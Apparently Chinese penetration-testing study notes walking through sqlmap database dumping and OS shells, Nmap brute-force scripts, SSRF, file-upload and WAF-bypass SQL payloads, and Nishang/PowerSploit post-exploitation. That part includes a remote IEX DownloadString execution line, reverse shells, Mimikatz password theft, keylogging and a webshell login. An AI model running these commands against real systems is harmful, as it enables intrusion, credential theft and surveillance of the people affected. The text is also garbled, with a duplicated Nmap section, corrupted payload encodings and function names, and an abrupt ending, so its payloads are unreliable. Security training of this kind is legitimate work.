网络安全渗透
Sqlmap簡介
sqlmap是一種開源的滲透測試工具,可以自動檢測和利用SQL注入漏洞以及接入該數據庫的服務器。它擁有非常強大的檢測引擎、具有多種特性的滲透測試神器、通過數據庫指紋提取訪問底層文件系統并通過外帶連接執行命令。
支持的數據庫:MySQL,Oracle, PostgreSQL, SQL Server,? Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MAXDB。
Sqlmap安裝
(1)安裝sqlmap前,需要先安裝 Python3.X
下載地址:https://www.python.org/downloads/windows/
(2)在環境變量path中,增加python3.x安裝路徑
(3)下載sqlmap并解壓縮:在環境變量path中,增加python3.x安裝路徑
? ? ?地址:sqlmap: automatic SQL injection and database takeover tool
- ? Python sqlmap.py –u http://xxx.xxx.xxx/
?Python sqlmap.py? --help 查看幫助
?sqlmap支持五種不同的注入模式:
?UNION query SQL injection(可聯合查詢注入) ?uError-based SQL injection(報錯型注入) ?uBoolean-based blind SQL injection(布爾型注入) ?uTime-based blind SQL injection(基于時間延遲注入) ?uStacked queries SQL injection(可多語句查詢注入)2.sqlmap 常用命令參數
-u? /--url ?最基本格式 sqlmap -u “XXXXXXXXXXXXX/index.pho?id=1”
-m 從文本中獲取多個目標掃描,但是每一個一個url. sqlmap -m urllist.txt
-r 從文件中加載HTTP請求,這樣的話就不需要再去設定cookie,POST數據….
--dbs 返回當前連接的數據庫
--current-db 返回當前網站數據庫的數據庫用戶
-D 指定數據庫系統的數據庫名
--tables 列舉數據庫表
-T 指定數據庫表名
--columns 列舉數據庫表中的字段
-C 指定數據庫表中的字段名
--dump 獲取整個表的數據
設置回顯等級
參數: -v默認為1
0 只顯示python錯誤以及嚴重的信息
1 基本信息和警告信息
2 debug信息
3 注入的payload(級別越高顯示信息越多)
--data 把數以post方式提交,sqlmap會像檢測GET參數一樣檢測POST過去的參數。
--cookie (用于區分用戶)
可能會有漏洞,當web登錄時,抓取數據包。
設定探測等級
--level
共有五個等級 默認為1 sqlmap使用的payload可以在xml/payloads.xml中看到
--users 列數據庫管理用戶
--current-user 在數據庫中,目前連接的用戶
--is-dba 判斷當前是否為管理,是的話返回true
--proxy 指定一個代理服務器 ?eg: -proxy http://xxxxxx.8080
--os-shell 前提:需要網站的物理路徑,其次是需要有FIILE權限
Sqlmap“六步”
第一步:判斷是否注是注入點
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目標鏈接)”
檢測該網站是否存在漏洞 ??白色加粗字體為注入點 也就是攻擊對象
?第二步:獲取數據庫
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目標鏈接)” –dbs
第三步:查看當前應用程序所用數據庫
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目標鏈接)” ?--current-db
?四:列出指定數據庫的所有表
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目標鏈接)” -D”security(目標數據庫)”—tables
五:讀取指定表中的字段名稱
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目標鏈接)” -D”security”-T users –colunms
?六:讀取指定字段內容
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目標鏈接)” -D”security”-T users -C username,password –dump(dump=下載,脫庫)
?--level 探測等級
一共有5個等級,默認是1。
sqlmap使用的payload可以在xml\payloads中看到,也可以根據相應的格式添加自己的payload,5級包含的payload最多。
http cookie在2級時可以檢測
HTTP user-Agent/Referer在3級時就會檢測
判斷當前數據庫用戶權限:
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目標鏈接)” --is-dba
如果是TRUE? ,那么權限該用戶很大。
roles 列出數據庫管理員角色
如果當前用戶有權限讀取包含所有用戶的表,輸入該命令會列舉出每個用戶的角色,
sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --roles
-referer HTTPReferer頭
當–level參數設定為3或3以上時,會嘗試對HTTP Referer注入。可以使用referer命令來欺騙,如--referer https://mp.mysite.net
--sql-shell 運行自定義的sql語句時
--sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --sql-shell
運行任意操作系統命令:
選擇后臺語言
sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --os-cmd=whoami
–file-read 從數據庫服務器中讀取文件
?該命令用于讀取執行文件,當前用戶有權限使用特定的函數時,讀取的文件可以是文本,也可以是二進制文件。
?–file-write –file-dest 上傳文件到數據庫服務器中
? 該命令用于寫入本地文件到服務器中
Sqlmap –u http://10.1.8.8/sql1/less-1/?id=1?? --file-write? ‘c:\user\cisp-pte\desktop\xie1.php’? --file-dest ‘c:\phpstudy\www\wwwroot\xie.php’
--os-cmd=whoami
--os-shell
(以你的電腦為跳板,對局域網進行滲透,或留后門)
--file-read 從數據庫服務器中讀取文件 ?:--sql-shell 運行自定義的sql語句當前用戶有權限使用特定的函數時,讀取的文件可以是文本,也可以是二進制文件。
上傳文件到數據庫服務器中:
--file-write
--file-dest
讀取指定數據庫用戶的密碼 ?--passwords -U root
SQLMAP進階 常用tamper腳本
?apostrophemask.py 將引號替換為utf-8,用于過濾單引號 (易容術)
?multiplespaces.py? 圍繞sql關鍵字添加多個空格 去繞過
Burpsuite
Burp 一、Burpsuite配置及代理設置SuiteBurp Suite
1. Burpsuite使用前配置
二、Burpsuit功能模塊講解
1.Send to spider 發送給爬蟲模塊 2.DO a active scan 進行一次主動掃描? ? ? ? ? ? ? ? ? ? ? ??3.Send to intruder 發送給爆破模塊
4.Send to repearter 發送給重放模塊
5.Send to comparer 發送給比對模塊 6.Send to decoder 發送給解碼模塊 7.Request in browser 將請求在瀏覽器重放?1.2 Proxy模塊àOPTION選項卡
?1.2.1 Proxy模塊à導入證書代理HTTPS流量
?1.2 User option模塊 解決HTTP返回信息中的亂碼問題
?1.3 Scaner模塊
?1.4 Intruder模塊? 爆破模式選擇
1.Sniper????????????? 單變量爆破 2.Battering ram 發送給重放模塊 3.Pitch fork??????? 多變量同時爆破(無循環)?//即多個字典同時滾動
4.Cluster bomb? 多變量循環爆破(有循環)?
//即基于多個字典循環遍歷
信息收集
主要收集目標主機的相關信息,主要包括端口、服務、漏洞等信息。信息收集手段多樣,可借助工具也多種多樣。
Namp
- 端口掃描:Nmap
1. Nmap的基本
Nmap + ip 6+ ip
Nmap -A 開啟操作系統識別和版本識別功能
– T(0-6檔)? 設置掃描的速度 ?一般設置T4??? 過快容易被發現
-v 顯示信息的級別,-vv顯示更詳細的信息
192.168.1.1/24 掃描C段 ??192.168.11 -254 =上
?????? nmap -A -T4 -v -iL?? ~/targets.txt ??(iL表示要掃描的目標位于一個文檔中)
?????? --------------- 192.168.1.1/24? --exclude 192.168.1.100? (排除在外的目標 .100)
?????? --------------- -----------------excludefile? ~/targets.txt
?????? nmap 192.168.1.1?? -p 80.443 網站 ?是否在這個端口部署網站
?????? nmap –traceroute 192.168.1.1 ??探測路由
?????? nmap -O 192.168.1.1 ?????????????? ?對目標進行指紋識別
?????? nmap -sV ???----------???????? 對版本進行探測
?????? nmap -sF -T4 192.168.1.1???????? 利用fin包對端口進行掃描,識別是否被關閉,收到RST包, 被關閉。否則是open 后者 fileter狀態。 ?(利用三次握手,可以繞開防火墻)
1. Nmap的基本
Nmap + ip 6+ ip
Nmap -A 開啟操作系統識別和版本識別功能
– T(0-6檔)? 設置掃描的速度 ?一般設置T4??? 過快容易被發現
-v 顯示信息的級別,-vv顯示更詳細的信息
192.168.1.1/24 掃描C段 ??192.168.11 -254 =上
?????? nmap -A -T4 -v -iL?? ~/targets.txt ??(iL表示要掃描的目標位于一個文檔中)
?????? --------------- 192.168.1.1/24? --exclude 192.168.1.100? (排除在外的目標 .100)
?????? --------------- -----------------excludefile? ~/targets.txt
?????? nmap 192.168.1.1?? -p 80.443 網站 ?是否在這個端口部署網站
?????? nmap –traceroute 192.168.1.1 ??探測路由
?????? nmap -O 192.168.1.1 ?????????????? ?對目標進行指紋識別
?????? nmap -sV ???----------???????? 對版本進行探測
?????? nmap -sF -T4 192.168.1.1???????? 利用fin包對端口進行掃描,識別是否被關閉,收到RST包,說明被關閉。否則是open 后者 fileter狀態。 ?(利用三次握手,可以繞開防火墻)
| 狀態 | 說明 |
| open | 應用程序在該端口接收 TCP 連接或者 UDP 報文 |
| closed | 關閉的端口對于nmap也是可訪問的, 它接收nmap探測報文并作出響應。但沒有應用程序在其上監聽 |
| filtered | 由于包過濾阻止探測報文到達端口,nmap無法確定該端口是否開放。過濾可能來自專業的防火墻設備,路由規則 或者主機上的軟件防火墻 |
| unfiltered | 未被過濾狀態意味著端口可訪問,但是nmap無法確定它是開放還是關閉。 只有用于映射防火墻規則集的 ACK 掃描才會把端口分類到這個狀態 |
| open | filtered | 無法確定端口是開放還是被過濾, 開放的端口不響應就是一個例子。沒有響應也可能意味著報文過濾器丟棄了探測報文或者它引發的任何反應。UDP,IP協議, FIN, Null 等掃描會引起。 |
??????
掃描腳本介紹:
位置 : nmap安裝目錄/scripts/???? 例如/usr/share/nmap/scripts
腳本類型:
?
?????? nmap –script=auth+ip 處理鑒權證書的腳本,也可以作為檢測部分應用弱口令
?????? -----------=brute+ip 暴力破解
nmap --script=auth 192.168.137.*
負責處理鑒權證書(繞開鑒權)的腳本,也可以作為檢測部分應用弱口令
nmap --script=brute 192.168.137.*
提供暴力破解的方式 ?可對數據庫,smb,snmp等進行簡單密碼的暴力猜解
nmap --script=default 192.168.137.*?或者?nmap -sC 192.168.137.*
在局域網內探查更多服務開啟狀況
更多:
https://nmap.org/nsedoc/categories/
https://blog.csdn.net/whatday/article/details/73823959
默認的腳本掃描,主要是搜集各種應用服務的信息,收集到后,可再針對具體服務進行攻擊
nmap --script=vuln 192.168.137.*?
檢查是否存在常見漏洞
nmap -n -p445 --script=broadcast 192.168.137.4
ssrf漏洞介紹ssrf漏洞介紹
SSRF (Server--Side Request Forgery,服務器端請求偽造)是一種由攻擊者構造請求,由服務端發起清求的安全漏洞。一般情況下,SSRF 攻擊的目標是外網無法訪問的內部系統(正因為請求是由服務端發起的,所以服務端能請求到與自身相連而與外網隔離的內部系統) 。
ssrf漏洞原理
SSRF 的形成大多是由于服務端提供了從其他服務器應用獲取數據的功能且沒有對目標地址做過濾與限制。例如,黑客操作服務端從指定 URL 地址獲取網頁文本內容,加載指定地址的圖片等,利用的是服務端的請求偽造。SSRF 利用存在缺陷的 Web 應用作為代理攻擊遠程和本地的服務器。
主要攻擊方式如下所示。
?對外網、服務器所在內網、本地進行端口掃描,獲取一些服務的 panner 信息。 ?攻擊運行在內網或本地的應用程序。 ?對內網 Wb 應用進行指紋識別,識別企業內部的資產信息。 ?攻擊內外網的 Web 應用,主要是使用 HTTP GET 請求就可以實現的攻擊(比如 struts2、SQli 等)。利用 file 協議讀取本地文件等。
漏洞利用 – ssrf
SSRF 漏洞利用的測試地址:http:/127.0.0.1/ssrf.php?url=http:/127.0.0.1/2.php。
頁面 ssrf.php 實現的功能是獲取 GET 參數 URL,然后將 URL 的內容返回網頁上。
????? 如果將請求的網址篡改為 http: /www.baidu.com,則頁面會顯示 http: / www.baidu.com 的網頁內容,如圖所示。
漏洞利用 – ssrf
但是,當設置參數 UL 為內網地址時,則會泄露內網信息,例如,當url=192.168.0.2:3306 時,頁面返回“當前地址不允許連接到 MySQL 服務器”,說明 192.168.0.2 存在 MySQL 服務,如圖 4-103 所示
??漏洞利用 – ssrf
訪問 ssrf.php?url=file://C:Vindows/, win.ini 即可讀取本地文件,如圖所示
?漏洞代碼分析
在頁面 SSRF.php 中,程序獲取 GET 參數 URL,通過 curl init()初始化 curl 組件后,將參數 URL 帶入 curl setopt ($ch, CURLOPT URL, $url),然后調用所以 curl-exec 請求該 URL。由于服務端會將 oannerf 信息返回客戶端,所以可以根據 banner 判斷主機是否存在某些服務,代碼如下。
?修復建議
針對 SSRF 漏洞的修復,給出以下這幾點建議。
l限制請求的端口只能為 Web 端口,只允許訪問 HTTP 和 HTTPS 的請求。 l限制不能訪問內網的IP,以防止對內網進行攻擊。屏蔽返回的詳細信息
文件上傳
1.文件上傳漏洞的概述
2.上傳漏洞的危害
3.文件上傳漏洞的利用
4.文件上傳漏洞的防御
文件上傳漏洞的概述
現代的互聯網的Web應用程序中,文件上傳是一種常見的要求,因為它有助于提高業務效率。在Facebook和Twitter等社交網絡的Web應用程序中都允許文件上傳功能。在博客,論壇,電子銀行網絡,YouTube和企業支持門戶,會給用戶和企業員工有效的共享文件。允許用戶上傳圖片,視頻,頭像和許多其他類型的文件。
什么是文件上傳
上傳文件的時候,如果服務器端腳本語言,未對上傳的文件進行嚴格的驗證和過濾,就有可能上傳惡意的腳本文件,從而控制整個網站,甚至是服務器。
??? 上傳頭像
?? 插入圖片
? 上傳附件
? ? ??
?為什么會有文件上傳
?在網站運營過程中,不可避免地要對網站的某些頁面或者內容進行更新,這個時候需要使用到網站的文件上傳功能。如果不對被上傳的文件進行限制或者限制被繞過,該功能便有可能會被利用上傳可執行文件、腳本到服務器上,進而進一步導致服務器淪陷
?危害
? 網站被控制
? 服務器淪陷
? 同服務器的其他網站淪陷
常見上傳檢測規則
?服務端 MIME 類型檢測 ( 檢測 Content-Type 內容)
?客戶端 javascript 檢測( 通常為檢測文件拓展名)
?服務端目錄路徑檢測(? 檢測跟 path 參數相關的內容 )
?服務端文件名拓展名檢測(? 檢測跟文件 estension 相關的內容 )
?服務器文件內容檢測(檢測內容是否合法或含有惡意代碼)?
?服務端MIME檢測
?服務端文件名拓展檢測
基于黑名單檢測:
黑名單的安全性比白名單的安全性低很多,攻擊手法自然也比白名單多。一般有個專門的blacklist,里面包含常見的危險腳本文件。
客戶端檢測
客戶端檢測通常在上傳頁面里含有專門檢測文件上傳的JavaScript代碼。最常見的就是檢測拓展名是否合法。
判斷方式:
在瀏覽加載文件,但還未點擊上傳按鈕時便彈出對話框,內容如:只允許上傳.jpg/.jpeg/.png后綴名的文件,而此時并沒有發送數據包。
服務端目錄路徑檢測
服務端目錄路徑檢測:
一般是檢測路徑是否合法,但是稍微特殊一點的都沒有防御。檢測跟path參數相關的內容。漏洞成因是因為對目錄路徑的檢測不夠嚴謹而導致
服務端文件名拓展檢測-繞過辦法
文件名大小寫繞過(AsP, pHp等等)
黑白名單繞過(php、php2、php3、php5、phtml、asp、aspx、ascx、ashx、cer、asa、jsp、jspx)
特殊文件名繞過
修改數據包里的文件名改為 test.php. 或者 test.asp_ (下劃線是空格)由于這種命名格式在windows系統里是不允許的。所以在繞過上傳之后? windows系統會自動去掉 點和空格。Unix/Linux系統沒有這個特性。
0x00截斷繞過
2.文件上傳配合解析漏洞Getshell
IIS解析漏洞
目錄解析? xx.asp/xx.txt(jpg)
?文件解析? xx.asp;.jpg
?IIS6.0 (Win2003 SP2 + IIS6.0) [Success] ?IIS7.0 (Win2008 R1 + IIS7.0) [Success] ?IIS7.5 (Win2008 R2 + IIS7.5) [Success]Apache解析漏洞
Apache/2.2.6
xxx.php.xxxxxx
??WampServer2.0All Version (Apache 2.2.11) [Success]
?WampServer2.1All Version (Apache 2.2.17) [Success]
?Wamp5 All Version (Apache 2.2.6) [Success]
?AppServ 2.4All Version (Apache 2.0.59) [Success]
?AppServ 2.5All Version (Apache 2.2.8) [Success]
?AppServ 2.6All Version (Apache 2.2.8) [Success
Nginx解析漏洞
測試版本 :0.7.63
xxx.jpg%00.php
xxx/1.jpg/1.php
測試版本 :0.7.63
文件類型錯誤 xxx/1.jpg/1.php
1:創建一張圖片
2:用Uedit32打開嵌入代碼.
??Nginx 0.5.*? [Success]
?Nginx 0.6.* [Success]
?Nginx 0.7 <= 0.7.65 [Success]
?Nginx 0.8 <= 0.8.37 [Success]
php-cgi 解析漏洞
Nginx 1.11.5 / php5.3.29
xxx.jpg/.php
WAF介紹
什么是WAF?
?WEB應用防火墻 (Web Application Firewall)
定義:通過執行一系列針對HTTP/HTTPS的安全策略來防御對Web應用的攻擊。
WAF的分類
?硬件WAF
?軟件WAF
?云WAF
?內置WAF
WAF指紋識別(常用)
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ??
? ? ? ? ? ?? ??
?WAF指紋識別
?WAF繞過方法
1. 大小寫混合
在規則匹配時只針對了特定大寫或特定小寫的情況,在實戰中可以通過混合大小寫的方式進行繞過(現在幾乎沒有這樣的情況),如下所示。
uNion sElEct 1,2,3,4,5
2.URL編碼
?極少部分的 WAF 不會對普通字符進行 URL 解碼,如下所示。union select 1,2,3,4,5 上述命令將被編碼為如下所示的命令。
%75%6E%69%6F%6E%20%73%65%6℃%65%63%74%20%31%2℃ %32%2℃%33%2C%34%2C%35
?還有一種情況就是 URL 二次編碼,WAF 一般只進行一次解碼,而如果目標 Wb 系統的代碼中進行了額外的 URL 解碼,即可進行繞過。
?union select 1,2,3,4,5
上述命令將被編碼為如下所示的命令。
%2575%256E%2569%256F%256E%2520%2573%2565%256C%2565%2563%2574%2520%2531%252℃%2532%252C%2533%252C %2534%252C%2535
3. 替換關鍵字
WAF采用替換或者刪除select/union這類敏感關鍵飼的時候,如果只匹配次則很容易進行繞過。
union select 1,2,3,4,5
上述命令將轉換為如下所示的命令。
unuionion selselectect 1,2,3,4,5
4. 使用注釋
注釋在截斷 SQL 語句中用得比較多,在繞過 WAF 時主要使用其替代空格(/*任意內容*),適用于檢測過程中沒有識別注釋或替換掉了注釋的 WAF。
Union select 1,2,3,4,5上述命令將轉換為如下所示的命令。? ? ? ? ? ? ? ?
union/*2333*/select/*aaaa*/1,2,3,4,5
還可以使用內聯注釋嘗試繞過 WAF 的檢測。
5. 多參數請求拆分
對于多個參數拼接到同一條$QL 語句中的情況,可以將注入語句分割插入。例如請求 URL 時,GET 參數為如下格式。
a= [input1] &b= [input2]
將 GET 的參數 a 和參數 b 拼接到 SQL 語句中,SQL 語句如下所示。
and a= [input1] and b= [input2]
這時就可以將注入語句進行拆分,如下所示。
a=union/*&b=*/select 1,2,3,4
最終將參數 a 和參數 b 拼接,得到的 SQL 語句如下所示。
?and a=union /*and b=*/select 1,2,3,4
6.HTTP 參數污染
HTTP 參數污染是指當同一參數出現多次,不同的中間件會解析為不同的結果,具體如表所示(例子以參數 color=-red&color=-blue 為例)
在上述提到的中間線中,川 S 比較容易利用,可以直接分割帶逗號的 SQL 語句。在其余的中間線中,如果 WF 只檢測了同參數名中的第一個或最后一個,并且中間件特性正好取與 WAF 相反的參數,則可成功繞過。下面以 IS 為例,一般的 SQL 注入語句如下所示。
Inject=union select 1,2,3,4
將 SQL 注入語句轉換為以下格式。
Inject=union/*&inject=*/select/*&inject=*/1&inject=2&inject=3&inject=4
最終在IIS中讀入的參數值將如下所示。
Inject=union/*,*/select/*,*/1,2,3,4
7. 生僻函數
使用生僻函數替代常見的函數,例如在報錯注入中使用卵 oy9on()函數替換常用的 updatexml()函數,如下所示。
SELECT polygon? ((select*from? (select*from? (select@@version) f) X));
8. 尋找網站源站IP
對于具有云WAF防護的網站而言,只要找到網站的IP地址,然后通過IP訪問網
站,就可以繞過云 WAF 的檢測。
常見的尋找網站IP的方法有下面這幾種。
?尋找網站的歷史解析記錄。 ?多個不同區域 ping 網站,查看 lP 解析的結果。 ?找網站的二級域名、NS、MX 記錄等對應的IP。 ?訂閱網站郵件,查看郵件發送方的IP。9. 注入參數到 cookies中
某些程序員在代碼中使用$REQUEST獲取參數,而$REQUEST會依次從GET/POST/cookie中獲取參數,如果WAF 只檢測了GET/POST 而沒有檢測 cookie,可以將注入語句放入cookie中進行繞過。
Nishang簡介
Nishang是一款基于PowerShell的滲透測試專用工具,集成了框架、腳本和各種Payload,包括下載和執行、鍵盤記錄、DNS、延時命令等腳本,被廣泛應用于滲透測試的各個階段。
下載地址如下:
https://github.com/samratashok/nishang
下載完成后我們可以看到以下工具里面都包括一些什么功能目錄
Nishang在PowerShell 3.0以上環境中可正常使用,在win7上PowerShell默認版本是2.0,不太支持,可以在win10中測試或者升級win7的PowerShell 的版本。
使用方式和PowerSploit一樣,可以搭建一個WEB服務器,把Nishang腳本放在WEB目錄,然后遠程去加載調用腳本
?https://www.jianshu.com/p/16cd4b25249c升級powershell到3.0
IEX (New-Object Net.WebClient).DownloadString("http://192.168.206.144/Gather/Get-Information.ps1")
Get-Information
?為了方便我們直接把Nishang上傳到本地服務器,本機加載。首先以管理員啟動powershell
?導入框架,并查看有哪些模塊,如下圖
?powershell
Set-ExecutionPolicy remotesigned? #更改執行策略
Import-Module .\nishang.psm1
Get-Command -Module nishang?? #查看Nishang有哪些模塊
Nishang模塊攻擊實戰
開始對部分模塊的功能進行講解:
1.Check-VM
它是用于檢測當前的機器是否是一臺已知的虛擬機的。它通過檢測已知的一些虛擬機的指紋信息(如:Hyper-V, VMWare, Virtual PC, Virtual Box,Xen,QEMU)來識別,如下可看到是一臺虛擬機
2. Invoke-CredentialsPhish
這個腳本用來欺騙用戶,讓用戶輸入密碼,在不輸入正確密碼關閉不了對話框,只能強子結束進程
Invoke-CredentialsPhish
3. Get-PassHashes
在Administrator的權限下,可以dump出密碼哈希值。這個腳本來自于msf中powerdump,但做出了修改,使得我們不再需要System權限就可以dump了
4. Invoke-Mimikatz
需要管理員權限,抓取密碼
5. Show-TargetScreen
使用MJPEG傳輸目標機器的遠程桌面的實時畫面,在本機我們可以使用NC或者Powercat來進行監聽。在本地使用支持MJPEG的瀏覽器(如:Firefox)訪問本機對應監聽端口,即可在瀏覽器上面看到遠端傳輸回來的實時畫面。
Victim(win7):Show-TargetScreen -IPAddres 192.168.199.129 -Port 5773 -Reverse
Attacker(kali):netcat -nlvp 5773 | netcat -nlvp 8888 //這里我使用的neetcat
6. Get-PassHints
獲取用戶的密碼提示信息,需要有Administrator權限來讀取sam hive
有的時候可以根據提示信息來生成密碼文件,大大提高爆破的成功率。還有的人會將明文密碼記錄在這個提示信息中
?PowerShell交互式Shell
Nishang可反彈TCP/ UDP/ HTTP/HTTPS/ ICMP等類型Shell
一、基于TCP協議的Powershell交互式Shell
Invoke-PowerShellTcp是PowerShell交互式正向連接或反向連接shell,基于TCP協議。
參數介紹:
-IPAddress <String> 選擇-Reverse選項時是需要連接到的IP地址
-Port <Int32> 選擇-Reverse選項時是需要連接到的端口,選擇-Bind選項時是需要監聽的端口。
-Reverse [<SwitchParameter>] 反向連接
-Bind [<SwitchParameter>] 正向連接
使用實例:
1.正向連接
第一步:在目標機運行腳本,監聽端口88
?第二步:使用nc連接到目標機端口88
2. 反向連接
第一步:使用nc監聽本地端口88(注意必須先監聽,不然在目標機上執行腳本會出錯)
?第二步:在目標機上運行腳本來反彈shell
?第三步:觀察攻擊機,可以發現成功反彈shell
二、基于UDP協議的PowerShell交互式Shell
Invoke-PowerShellUdpPowershell交互式正向連接或反向連接shell,基于UDP協議。
使用實例:
1.正向連接
第一步:在目標機運行腳本,監聽端口66
?第二步:使用nc連接到目標機端口66
2. 反向連接
第一步:使用nc監聽本地端口66
第二步:在目標機上運行腳本來反彈shell
?第三步:觀察攻擊機,可以發現成功反彈shell
三、基于HTTP和HTTPS協議的PowerShell交互式Shell
Invoke-PoshRatHttp and Invoke-PoshRatHttps是Powershell交互式反向連接shell,基于HTTP協議和HTTPS協議。
這里需要說明以下,需要攻擊者以管理員身份運行
第一步:首先我們需要在攻擊機上使用腳本,需要的信息有攻擊機IP,要監聽的端口。運行完腳本,就等著目標機反彈Shell了。
第二步:在目標機上運行下列命令,反彈Shell
?第三步:觀察攻擊機,可以發現成功反彈shell
?權限提升
需要UAC的授權才能進行的操作列表如下:
配置Windows Update
增加、刪除賬戶
更改賬戶類型
更改UAC的設置
安裝ActiveX
安裝、卸載程序
安裝設備驅動程序
將文件移動/復制到Program Files或Windows目錄下
查看其它用戶的文件夾
UAC有如下四種設置要求:??
始終通知:這是最嚴格的設置,每當有程序需要使用高級別的權限時都會提示本地用戶
僅在程序試圖更改我的計算機時通知我:這是UAC的默認設置。當本地Windows程序要使用高級別的權限時,不會通知用戶。但是,當第三方程序要使用高級別的權限時,會提示本地用戶 僅在程序試圖更改我的計算機時通知我(不降低桌面的亮度):與上一條設置的要求相同,但在提示用戶時不降低桌面的亮度
從不提示:當用戶為系統管理員時,所有程序都會以最高權限運行
如何Bypass UAC
我們可以找一些以高權限運行的,但是并沒有uac提示的進程,然后利用ProcessMonitor尋找他啟動調用卻缺失的如dll、注冊表鍵值,然后我們添加對應的值達到bypass uac的效果。
Invoke-PsUACme 提供了一些繞過UAC的方式。這個模塊用的是UACME項目的DLL來Bypass UAC。方法對照表如下
使用Nishang中的Invoke-PsUACme.ps1我們來嘗試提權
Admin用戶,在沒有使用以管理員身份運行時
?我們直接運行Invoke-PsUACme來繞過UAC后
?WebShell后門
存放于nishang Antak-WebShell目錄下,就是一個ASPX的大馬,但是命令行是PowerShell,比單純的cmd強大很多,功能比較齊全。
將Nishang的antak.aspx文件,放在IIS網站中
然后訪問網站中的antak.aspx文件(出現登陸頁面)
Nishang的antak用戶名:Disclaimer
Nishang的antak密碼:ForLegitUseOnly
登陸成功,進入歡迎頁面
輸入help,可以得到幫助信息
輸入ls,可以查看網站的目錄結構
點擊download,可以下載網站的重要文件
點擊upload the file,可以上傳木馬文件
PowerSploit簡介
PowerSploit是一款基于PowerShell的后滲透框架軟件,包含了很多PowerShell的攻擊腳本,它們主要用于滲透中的信息偵測,權限提升、權限維持等。PowerSploit項目地址:https://github.com/PowerShellMafia/PowerSploit
?ActivirusBypass:繞過殺毒軟件查殺
?CodeExecution:在目標主機上執行代碼
?Exfiltration:目標主機上的信息搜集工具
?Mayhem:藍屏等破壞性的腳本
?Persistence:權限維持
?Privsec:提權等腳本
?Recon:以目標主機為跳板進行內網信息偵查
?ScriptModification:在目標主機上創建或修改腳本
PowerSploit安裝
下載PowerSploit腳本到服務器,搭建一個簡易的WEB服務器。將PowerSploit目錄放到WEB目錄,使其可以通過HTTP訪問到。
這里以kali服務器為例,介紹兩種方式
第一種方式:
開啟apache服務:service?apache2?start
將powersploit目錄放到/var/www/html/中
第二種方式:
切換到powersploit目錄,然后執行如下命令開啟WEB服務器
python3?-m?http.server?8080
Git?clone?https://github.com/PowerShellMafia/PowerSploit
在瀏覽器中打開WEB服務器地址,如下圖所示?
?PowerSploit腳本攻擊實戰
PowerSploit提供了各類攻擊腳本,數量相當多,這里介紹一些在實戰中使用比較多的腳本,其他的大家可以嘗試使用。
利用這些腳本一般是通過我們前期獲取的目標shell,在命令行中遠程下載這些腳本,在目標服務器上使用。
為方便,這里我們直接在目標服務器做這些操作
Invoke-Shellcode腳本
CodeExecution模塊下的Invoke-Sellcode腳本常用于將ShellCode插入本地Powershell中或者指定的進程ID。
直接執行ShellCode反彈Meterpreter?Shell
首先在MSF里使用reverse_https模塊進行監聽
??使用msfvenom命令生成一個PowerShell腳本木馬
?接著在目標機Powershell下輸入以下命令下載該腳本
?
?接著輸入以下命令下載木馬
?接著在PowerShell下運行該命令
Force意思是不用提示,直接執行。返回MSF的監聽界面下,發現已經反彈成功了。?
Invoke-Portscan掃描端口
Invoke-Portscan是Recon模塊下的一個腳本,主要用于端口掃描,使用起來也很簡單。
首先下載腳本
然后使用以下命令進行掃描,-Hosts為要掃描的目標IP,-Ports為要掃的端口,從下圖可
以看到,掃描出該IP機器開放了80,22,4444端口
Invoke-Mimikatz?信息收集
Mimikatz本身在內網滲透中作用很大,PowerSploit將其集成到Exfiltration模塊下,Mimikatz用來抓取主機密碼,注意的是這個腳本的運行需要管理員權限。
然后載入腳本
Invoke-Mimikatz?信息收集
?載入腳本
?然后使用以下命令進行抓取密碼,如下圖所示可以看到抓取到明文密碼:654321
?
Get-Keystrokes?鍵盤記錄器
Get-Keystrokes是Exfiltration模塊下的一個腳本,用于鍵盤記錄,可以記錄鍵盤輸入記錄,以及鼠標的點擊情況,還能記錄詳細的時間
首先下載腳本
?然后執行以下命令開啟鍵盤記錄
使用鍵盤輸入一些內容
查看c:\windows\temp\key.txt中記錄的內容
Get-TimedScreenshot??屏幕記錄
Get-TimedScreenshot是Exfiltration模塊下用來進行屏幕記錄的腳本
首先下載腳本
?運行腳本
?注意這里Interval參數是記錄的時間間隔,單位是秒,Path路徑是一個存在的文件夾,記錄的圖片會保存在文件夾?下
PowerUP攻擊模塊
??Powerup是Privesc模塊下的一個腳本,功能相當強大,擁有眾多實用的腳本來幫助我們尋找目標主機Windows服務漏洞進行提權。
通常,在Windows下面我們可以通過內核漏洞來提升權限,但是,我們常常會碰到所處服務器通過內核漏洞提權是行不通的,這個時候,我們就需要通過脆弱的Windows服務提權,比如我們替換掉服務所依賴的DLL文件,當服務重啟時,加載我們替換的DLL文件從而完成比如添加管理員賬號的操作。或者通過常見的Mssql,Mysql等服務,通過其繼承的系統權限來完成提權等等,而今天我將介紹一個非常實用的Powerup模塊,此模塊可以在內核提權行不通的時候,幫助我們尋找服務器脆弱點進而通過脆弱點實現提權的目的。
首先進行加載,使用如下命令,然后就可以使用PowerUP中的所有模塊了?;蛘呱蟼鞅緳C加載
?在源碼中搜索function,看PowerUP有哪些模塊?
如果要查看各個模塊的詳細說明,可以輸入get-help [cmdlet] –full命令查看,比如
Get-Help Invoke-AllChecks -full
下面開始對模塊介紹:
1.Invoke-AllChecks
執行所有的腳本來檢查。
執行方式:
PS C:> Invoke-AllChecks
2.Find-PathDLLHijack
檢查當前%PATH%是否存在哪些目錄是當前用戶可以寫入的。
執行方式:
PS C:>Find-Pathdllhijack
3.?Get-ApplicationHost
從系統上的applicationHost.config文件恢復加密過的應用池和虛擬目錄的密碼。
執行方式:
PS?C:>get-ApplicationHost
PS?C:>get-ApplicationHost?|?Format-Table?-Autosize?#?列表顯示
4.?Get-RegistryAlwaysInstallElevated
檢查AlwaysInstallElevated注冊表項是否被設置,如果被設置,意味著的MSI文件是以system權限運行的。
執行方式:
